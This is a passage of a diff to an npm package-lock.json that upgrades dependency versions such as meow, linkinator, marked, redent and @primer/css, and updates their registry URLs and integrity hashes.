-      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz",
-      "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==",
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+      "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
       "dev": true,
       "engines": {
-        "node": ">=8"
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/readable-stream": {
@@ -18631,16 +18638,31 @@
       }
     },
     "node_modules/redent": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
-      "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/redent/-/redent-4.0.0.tgz",
+      "integrity": "sha512-tYkDkVVtYkSVhuQ4zBgfvciymHaeuel+zFKXShfDnFP5SyVEP7qo70Rf1jTOTCx3vGNAbnEi/xFkcfQVMIBWag==",
       "dev": true,
       "dependencies": {
-        "indent-string": "^4.0.0",
-        "strip-indent": "^3.0.0"
+        "indent-string": "^5.0.0",
+        "strip-indent": "^4.0.0"
       },
       "engines": {
-        "node": ">=8"
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/redent/node_modules/indent-string": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-5.0.0.tgz",
+      "integrity": "sha512-m6FAo/spmsW2Ab2fU35JTYwtOKa2yAwXSwgjSv1TJzh4Mh7mC3lzAOVLBprb72XsTrgkEIsl7YrFNAiDiRhIGg==",
+      "dev": true,
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/redis": {
@@ -19025,9 +19047,9 @@
       }
     },
     "node_modules/rehype-slug": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/rehype-slug/-/rehype-slug-5.0.0.tgz",
-      "integrity": "sha512-jnYsFKxRh+/tQa1L+SU/ykAPGOSVCqd0BwaOBPUANcvCu8d0/SZB4IalJkdJ+n6d1eAAS2YkvjUPi+2EGYtfCQ==",
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/rehype-slug/-/rehype-slug-5.0.1.tgz",
+      "integrity": "sha512-X5v3wV/meuOX9NFcGhJvUpEjIvQl2gDvjg3z40RVprYFt7q3th4qMmYLULiu3gXvbNX1ppx+oaa6JyY1W67pTA==",
       "dependencies": {
         "@types/hast": "^2.0.0",
         "github-slugger": "^1.1.1",
@@ -19602,15 +19624,6 @@
         "node": ">= 0.12"
       }
     },
-    "node_modules/request/node_modules/punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-      "dev": true,
-      "engines": {
-        "node": ">=6"
-      }
-    },
     "node_modules/request/node_modules/qs": {
       "version": "6.5.2",
       "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz",
@@ -20467,9 +20480,9 @@
       }
     },
     "node_modules/spdx-license-ids": {
-      "version": "3.0.10",
-      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.10.tgz",
-      "integrity": "sha512-oie3/+gKf7QtpitB0LYLETe+k8SifzsX4KixvpOsbI6S0kRiRQ5MKOio8eMSAKQ17N06+wdEOXRiId+zOxo0hA==",
+      "version": "3.0.11",
+      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.11.tgz",
+      "integrity": "sha512-Ctl2BrFiM0X3MANYgj3CkygxhRmr9mi6xhejbdO960nF6EDJApTYpn0BQnDKlnNBULKiCN1n3w9EBkHK8ZWg+g==",
       "dev": true
     },
     "node_modules/split": {
@@ -20881,15 +20894,18 @@
       "integrity": "sha1-Cuff8DAKYHWkwpP7YRG0yx0Mt7c="
     },
     "node_modules/strip-indent": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
-      "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-4.0.0.tgz",
+      "integrity": "sha512-mnVSV2l+Zv6BLpSD/8V87CW/y9EmmbYzGCIavsnsI6/nwn26DwffM/yztm30Z/I2DY9wdS3vXVCMnHDgZaVNoA==",
       "dev": true,
       "dependencies": {
-        "min-indent": "^1.0.0"
+        "min-indent": "^1.0.1"
       },
       "engines": {
-        "node": ">=8"
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/strip-json-comments": {
@@ -21154,9 +21170,9 @@
       }
     },
     "node_modules/swr": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/swr/-/swr-1.1.0.tgz",
-      "integrity": "sha512-MFL3mkl752Uap81nLA1tEu7vQmikPamSziW+6dBidYKAo4oLOlUx/x5GZy4ZCkCwfZe2uedylkz1UMGnatUX4g==",
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/swr/-/swr-1.1.2.tgz",
+      "integrity": "sha512-UsM0eo5T+kRPyWFZtWRx2XR5qzohs/LS4lDC0GCyLpCYFmsfTk28UCVDbOE9+KtoXY4FnwHYiF+ZYEU3hnJ1lQ==",
       "peerDependencies": {
         "react": "^16.11.0 || ^17.0.0 || ^18.0.0"
       }
@@ -21551,15 +21567,6 @@
         "node": ">=6"
       }
     },
-    "node_modules/tough-cookie/node_modules/punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-      "dev": true,
-      "engines": {
-        "node": ">=6"
-      }
-    },
     "node_modules/tr46": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz",
@@ -21572,15 +21579,6 @@
         "node": ">=8"
       }
     },
-    "node_modules/tr46/node_modules/punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-      "dev": true,
-      "engines": {
-        "node": ">=6"
-      }
-    },
     "node_modules/tree-kill": {
       "version": "1.2.2",
       "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz",
@@ -21591,12 +21589,15 @@
       }
     },
     "node_modules/trim-newlines": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz",
-      "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==",
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-4.0.2.tgz",
+      "integrity": "sha512-GJtWyq9InR/2HRiLZgpIKv+ufIKrVrvjQWEj7PxAXNc5dwbNJkqhAUoAGgzRmULAnoOM5EIpveYd3J2VeSAIew==",
       "dev": true,
       "engines": {
-        "node": ">=8"
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/trim-trailing-lines": {
@@ -22205,14 +22206,6 @@
         "punycode": "^2.1.0"
       }
     },
-    "node_modules/uri-js/node_modules/punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-      "engines": {
-        "node": ">=6"
-      }
-    },
     "node_modules/url": {
       "version": "0.11.0",
       "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz",
@@ -22258,6 +22251,7 @@
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz",
       "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=",
+      "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.",
       "engines": {
         "node": ">=0.4.x"
       }
@@ -22614,9 +22608,11 @@
       }
     },
     "node_modules/watchpack": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.1.1.tgz",
-      "integrity": "sha512-Oo7LXCmc1eE1AjyuSBmtC3+Wy4HcV8PxWh2kP6fOl8yTlNS7r0K9l1ao2lrrUza7V39Y3D/BbJgY8VeSlc5JKw==",
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.3.0.tgz",
+      "integrity": "sha512-MnN0Q1OsvB/GGHETrFeZPQaOelWh/7O+EiFlj8sM9GPjtQkis7k01aAxrg/18kTfoIVcLL+haEVFlXDaSRwKRw==",
+      "devOptional": true,
+      "peer": true,
       "dependencies": {
         "glob-to-regexp": "^0.4.1",
         "graceful-fs": "^4.1.2"
@@ -22785,20 +22781,6 @@
         "url": "https://opencollective.com/webpack"
       }
     },
-    "node_modules/webpack/node_modules/watchpack": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.2.0.tgz",
-      "integrity": "sha512-up4YAn/XHgZHIxFBVCdlMiWDj6WaLKpwVeGQk2I5thdYxF/KmF0aaz6TfJZ/hfl1h/XlcDr7k1KH7ThDagpFaA==",
-      "devOptional": true,
-      "peer": true,
-      "dependencies": {
-        "glob-to-regexp": "^0.4.1",
-        "graceful-fs": "^4.1.2"
-      },
-      "engines": {
-        "node": ">=10.13.0"
-      }
-    },
     "node_modules/website-scraper": {
       "version": "4.2.3",
       "resolved": "https://registry.npmjs.org/website-scraper/-/website-scraper-4.2.3.tgz",
@@ -25515,9 +25497,9 @@
       }
     },
     "@napi-rs/triples": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/@napi-rs/triples/-/triples-1.0.3.tgz",
-      "integrity": "sha512-jDJTpta+P4p1NZTFVLHJ/TLFVYVcOqv6l8xwOeBKNPMgY/zDYH/YH7SJbvrr/h1RcS9GzbPcLKGzpuK9cV56UA=="
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@napi-rs/triples/-/triples-1.1.0.tgz",
+      "integrity": "sha512-XQr74QaLeMiqhStEhLn1im9EOMnkypp7MZOwQhGzqp2Weu5eQJbpPxWxixxlYRKWPOmJjsk6qYfYH9kq43yc2w=="
     },
     "@next/env": {
       "version": "11.1.3",
@@ -25569,11 +25551,6 @@
           "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz",
           "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q=="
         },
-        "punycode": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-          "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
-        },
         "source-map": {
           "version": "0.8.0-beta.0",
           "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz",
@@ -25837,9 +25814,9 @@
       }
     },
     "@primer/components": {
-      "version": "32.1.0",
-      "resolved": "https://registry.npmjs.org/@primer/components/-/components-32.1.0.tgz",
-      "integrity": "sha512-Vffs3wt5W4FyipUGof38YmcHQFFoAA+Q7R71n+XzV7Og/SaFKY2MW9c4RFPj1wBhU60mtlyRAn54D7E33tLeHA==",
+      "version": "33.1.0",
+      "resolved": "https://registry.npmjs.org/@primer/components/-/components-33.1.0.tgz",
+      "integrity": "sha512-q+Eky5DMiv8PKSCjor/ChJ8wlHCreczDCku5B/GHLzqQXwtjGLsGOK7Qn+c/BYfpVh7am+FfqqHZRlpcMATdQw==",
       "requires": {
         "@primer/octicons-react": "^16.1.0",
         "@primer/primitives": "7.1.1",
@@ -25861,17 +25838,17 @@
       }
     },
     "@primer/css": {
-      "version": "18.2.0",
-      "resolved": "https://registry.npmjs.org/@primer/css/-/css-18.2.0.tgz",
-      "integrity": "sha512-tU84BKF4HfhyyW7eB/BijcSf862JGIKcm5Z/dFdoZW7AFM1PpMDYiUp8h4j5XtsWxtXSqe3xxqTGTFXsmKGPtw==",
+      "version": "19.1.1",
+      "resolved": "https://registry.npmjs.org/@primer/css/-/css-19.1.1.tgz",
+      "integrity": "sha512-QVwdNOJsLxOD6eTR5LDIdLWg2SIy+eZWMK4ywlLd8qZXJCngtJyTNO5PtSzgs0D9jlMS+dzxvlOOV6GcfLu1hw==",
       "requires": {
-        "@primer/primitives": "^6.1.0"
+        "@primer/primitives": "^7.2.0"
       },
       "dependencies": {
         "@primer/primitives": {
-          "version": "6.1.0",
-          "resolved": "https://registry.npmjs.org/@primer/primitives/-/primitives-6.1.0.tgz",
-          "integrity": "sha512-gwSVf5rVf2CMa/bU3/47LZosDHNfODMRJfKi7uJOqHWABVNl6Lf+thDM7Jb8tS9sEQQsUnrLDiGNjCScS81IXA=="
+          "version": "7.4.0",
+          "resolved": "https://registry.npmjs.org/@primer/primitives/-/primitives-7.4.0.tgz",
+          "integrity": "sha512-gD6yHXN7YKox/bdUNgxhoSS/WXZVaORK1r4dOAyTrdoPrLV/ucIfRInPyVcTF+Mqr0zcTFJtiMtuA5Y8CSyOEg=="
         }
       }
     },
@@ -28383,20 +28360,33 @@
       "dev": true
     },
     "camelcase-keys": {
-      "version": "6.2.2",
-      "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz",
-      "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==",
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-7.0.1.tgz",
+      "integrity": "sha512-P331lEls98pW8JLyodNWfzuz91BEDVA4VpW2/SwXnyv2K495tq1N777xzDbFgnEigfA7UIY0xa6PwR/H9jijjA==",
       "dev": true,
       "requires": {
-        "camelcase": "^5.3.1",
-        "map-obj": "^4.0.0",
-        "quick-lru": "^4.0.1"
+        "camelcase": "^6.2.0",
+        "map-obj": "^4.1.0",
+        "quick-lru": "^5.1.1",
+        "type-fest": "^1.2.1"
       },
       "dependencies": {
+        "camelcase": {
+          "version": "6.3.0",
+          "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+          "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
+          "dev": true
+        },
         "quick-lru": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz",
-          "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==",
+          "version": "5.1.1",
+          "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+          "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
+          "dev": true
+        },
+        "type-fest": {
+          "version": "1.4.0",
+          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+          "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
           "dev": true
         }
       }
@@ -28837,12 +28827,6 @@
         "typedarray": "^0.0.6"
       },
       "dependencies": {
-        "isarray": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-          "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
-          "optional": true
-        },
         "readable-stream": {
           "version": "2.3.7",
           "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
@@ -31778,9 +31762,9 @@
       "optional": true
     },
     "hosted-git-info": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz",
-      "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==",
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz",
+      "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==",
       "dev": true,
       "requires": {
         "lru-cache": "^6.0.0"
@@ -32468,6 +32452,11 @@
         "is-url": "^1.2.4"
       }
     },
+    "isarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+    },
     "isexe": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
@@ -33536,12 +33525,6 @@
         "set-immediate-shim": "~1.0.1"
       },
       "dependencies": {
-        "isarray": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-          "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
-          "optional": true
-        },
         "readable-stream": {
           "version": "2.3.7",
           "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
@@ -33654,40 +33637,30 @@
       "dev": true
     },
     "lines-and-columns": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz",
-      "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=",
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+      "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
       "dev": true
     },
     "linkinator": {
-      "version": "2.16.2",
-      "resolved": "https://registry.npmjs.org/linkinator/-/linkinator-2.16.2.tgz",
-      "integrity": "sha512-5tHSz6gMN0z25+Pk4lZnU0Edr1lJLNuk+MCfQa2NxF4f1rfKS8Lo3JEwxTciVzwVHHdBpydAgmWYOgylNlwyDQ==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/linkinator/-/linkinator-3.0.3.tgz",
+      "integrity": "sha512-JpZFe1VIdaVy2wMCf8HDAB61tIjD69hOY1lPHCfM0OTPEhu9z9oPe449veZIympH9PUJUXe6yoif7DXHs8H5xw==",
       "dev": true,
       "requires": {
-        "chalk": "^4.0.0",
+        "chalk": "^5.0.0",
         "escape-html": "^1.0.3",
-        "gaxios": "^4.0.0",
-        "glob": "^7.1.6",
-        "htmlparser2": "^7.1.2",
-        "jsonexport": "^3.0.0",
-        "marked": "^2.0.0",
-        "meow": "^9.0.0",
+        "gaxios": "^4.3.2",
+        "glob": "^7.2.0",
+        "htmlparser2": "^7.2.0",
+        "jsonexport": "^3.2.0",
+        "marked": "^4.0.3",
+        "meow": "^10.1.1",
         "mime": "^3.0.0",
         "server-destroy": "^1.0.1",
-        "update-notifier": "^5.0.0"
+        "update-notifier": "^5.1.0"
       },
       "dependencies": {
-        "chalk": {
-          "version": "4.1.2",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-          "dev": true,
-          "requires": {
-            "ansi-styles": "^4.1.0",
-            "supports-color": "^7.1.0"
-          }
-        },
         "entities": {
           "version": "3.0.1",
           "resolved": "https://registry.npmjs.org/entities/-/entities-3.0.1.tgz",
@@ -33695,9 +33668,9 @@
           "dev": true
         },
         "htmlparser2": {
-          "version": "7.1.2",
-          "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.1.2.tgz",
-          "integrity": "sha512-d6cqsbJba2nRdg8WW2okyD4ceonFHn9jLFxhwlNcLhQWcFPdxXeJulgOLjLKtAK9T6ahd+GQNZwG9fjmGW7lyg==",
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.2.0.tgz",
+          "integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==",
           "dev": true,
           "requires": {
             "domelementtype": "^2.0.1",
@@ -34160,9 +34133,9 @@
       "integrity": "sha512-CBbaYXKSGnE1uLRpKA1SWgIRb2PQrpkllNWpZtZe6VojOJ4ysqiq7/2glYcmKsOYN09QgH/HEBX5hIshAeiK6A=="
     },
     "marked": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz",
-      "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==",
+      "version": "4.0.9",
+      "resolved": "https://registry.npmjs.org/marked/-/marked-4.0.9.tgz",
+      "integrity": "sha512-HmoFvQwFLxNESeGupeOC+6CLb5WzcCWQmqvVetsErmrI3vrZ6gBumty5IP0ynLPR0zYSoVY7ITC1GffsYIGkog==",
       "dev": true
     },
     "matcher-collection": {
@@ -34350,29 +34323,35 @@
       "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g="
     },
     "meow": {
-      "version": "9.0.0",
-      "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz",
-      "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==",
+      "version": "10.1.2",
+      "resolved": "https://registry.npmjs.org/meow/-/meow-10.1.2.tgz",
+      "integrity": "sha512-zbuAlN+V/sXlbGchNS9WTWjUzeamwMt/BApKCJi7B0QyZstZaMx0n4Unll/fg0njGtMdC9UP5SAscvOCLYdM+Q==",
       "dev": true,
       "requires": {
-        "@types/minimist": "^1.2.0",
-        "camelcase-keys": "^6.2.2",
-        "decamelize": "^1.2.0",
+        "@types/minimist": "^1.2.2",
+        "camelcase-keys": "^7.0.0",
+        "decamelize": "^5.0.0",
         "decamelize-keys": "^1.1.0",
         "hard-rejection": "^2.1.0",
         "minimist-options": "4.1.0",
-        "normalize-package-data": "^3.0.0",
-        "read-pkg-up": "^7.0.1",
-        "redent": "^3.0.0",
-        "trim-newlines": "^3.0.0",
-        "type-fest": "^0.18.0",
-        "yargs-parser": "^20.2.3"
+        "normalize-package-data": "^3.0.2",
+        "read-pkg-up": "^8.0.0",
+        "redent": "^4.0.0",
+        "trim-newlines": "^4.0.2",
+        "type-fest": "^1.2.2",
+        "yargs-parser": "^20.2.9"
       },
       "dependencies": {
+        "decamelize": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-5.0.1.tgz",
+          "integrity": "sha512-VfxadyCECXgQlkoEAjeghAr5gY3Hf+IKjKb+X8tGVDtveCjN+USwprd2q3QXBR9T1+x2DG0XZF5/w+7HAtSaXA==",
+          "dev": true
+        },
         "type-fest": {
-          "version": "0.18.1",
-          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz",
-          "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==",
+          "version": "1.4.0",
+          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+          "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
           "dev": true
         }
       }
@@ -35345,6 +35324,15 @@
               "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0="
             }
           }
+        },
+        "watchpack": {
+          "version": "2.1.1",
+          "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.1.1.tgz",
+          "integrity": "sha512-Oo7LXCmc1eE1AjyuSBmtC3+Wy4HcV8PxWh2kP6fOl8yTlNS7r0K9l1ao2lrrUza7V39Y3D/BbJgY8VeSlc5JKw==",
+          "requires": {
+            "glob-to-regexp": "^0.4.1",
+            "graceful-fs": "^4.1.2"
+          }
         }
       }
     },
@@ -35475,16 +35463,16 @@
           "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
           "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
         },
-        "isarray": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-          "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
-        },
         "path-browserify": {
           "version": "0.0.1",
           "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz",
           "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ=="
         },
+        "punycode": {
+          "version": "1.4.1",
+          "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
+          "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
+        },
         "readable-stream": {
           "version": "2.3.7",
           "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
@@ -37082,9 +37070,9 @@
       }
     },
     "punycode": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
-      "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
+      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
     },
     "pupa": {
       "version": "2.1.1",
@@ -37429,95 +37417,62 @@
       }
     },
     "read-pkg": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz",
-      "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==",
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-6.0.0.tgz",
+      "integrity": "sha512-X1Fu3dPuk/8ZLsMhEj5f4wFAF0DWoK7qhGJvgaijocXxBmSToKfbFtqbxMO7bVjNA1dmE5huAzjXj/ey86iw9Q==",
       "dev": true,
       "requires": {
         "@types/normalize-package-data": "^2.4.0",
-        "normalize-package-data": "^2.5.0",
-        "parse-json": "^5.0.0",
-        "type-fest": "^0.6.0"
+        "normalize-package-data": "^3.0.2",
+        "parse-json": "^5.2.0",
+        "type-fest": "^1.0.1"
       },
       "dependencies": {
-        "hosted-git-info": {
-          "version": "2.8.9",
-          "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
-          "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
-          "dev": true
-        },
-        "normalize-package-data": {
-          "version": "2.5.0",
-          "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
-          "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
-          "dev": true,
